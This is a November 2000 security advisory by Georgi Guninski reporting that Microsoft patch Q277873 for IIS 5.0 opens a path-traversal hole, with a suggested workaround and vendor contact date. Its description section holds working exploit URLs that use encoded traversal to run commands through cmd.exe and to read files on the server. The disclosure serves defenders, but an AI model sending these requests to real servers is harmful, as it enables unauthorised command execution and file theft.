IIS 5.0 with patch Q277873 allows executing arbitrary commands on the web server

Systems affected:
IIS 5.0 with patch Q277873 applied (the patch is the problem)

Risk: High
Date: 27 November 2000

Legal Notice:
This Advisory is Copyright (c) 2000 Georgi Guninski. You may distribute it unmodified. 
You may not modify it and distribute it or distribute parts of it without the author's 
written permission.

Disclaimer:
The opinions expressed in this advisory and program are my own and not of any company.
The usual standard disclaimer applies, especially the fact that Georgi Guninski
is not liable for any damages caused by direct or  indirect use of the information 
or functionality provided by this advisory or program.
Georgi Guninski, bears no responsibility for content or misuse of this advisory or program or 
any derivatives thereof.

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there you may learn faster about my discoveries and how to protect your clients.
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Description:

If patch Q277873 is installed on IIS 5.0 then it is possible to execute arbitrary programs
on the web server.
The following URL:
--------------------------------------------
http://SOMEHOST/scripts/georgi.bat/..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c%20dir%20C:\
--------------------------------------------
executes "DIR C:\"
When you are prompted save the output to a file.
It is possble to play with the MSADC directory instead of scripts.
It is also possible to read most files using:
http://SOMEHOST/scripts/georgi.asp/..%C1%9C..%C1%9C..%C1%9Ctest.txt

Details:

Microsoft issued:
"
Microsoft Security Bulletin (MS00-086)
Patch Available for "Web Server File Request Parsing" Vulnerability
Originally posted: November 06, 2000
Updated: November 21, 2000
"
which installs patch Q277873.
Unfortunately patch Q277873 opens another vulnerability which allows executing arbitrary
programs on the web server.
 

Workaround:
I suggest deinstalling patch Q277873 until Microsoft patch it properly -
I believe in this case you are exposed to less risk.
 

Vendor status:
Microsoft was contacted on 25 November 2000.

Check my experimental mailing list at:
http://www.guninski.com/mailinglist.html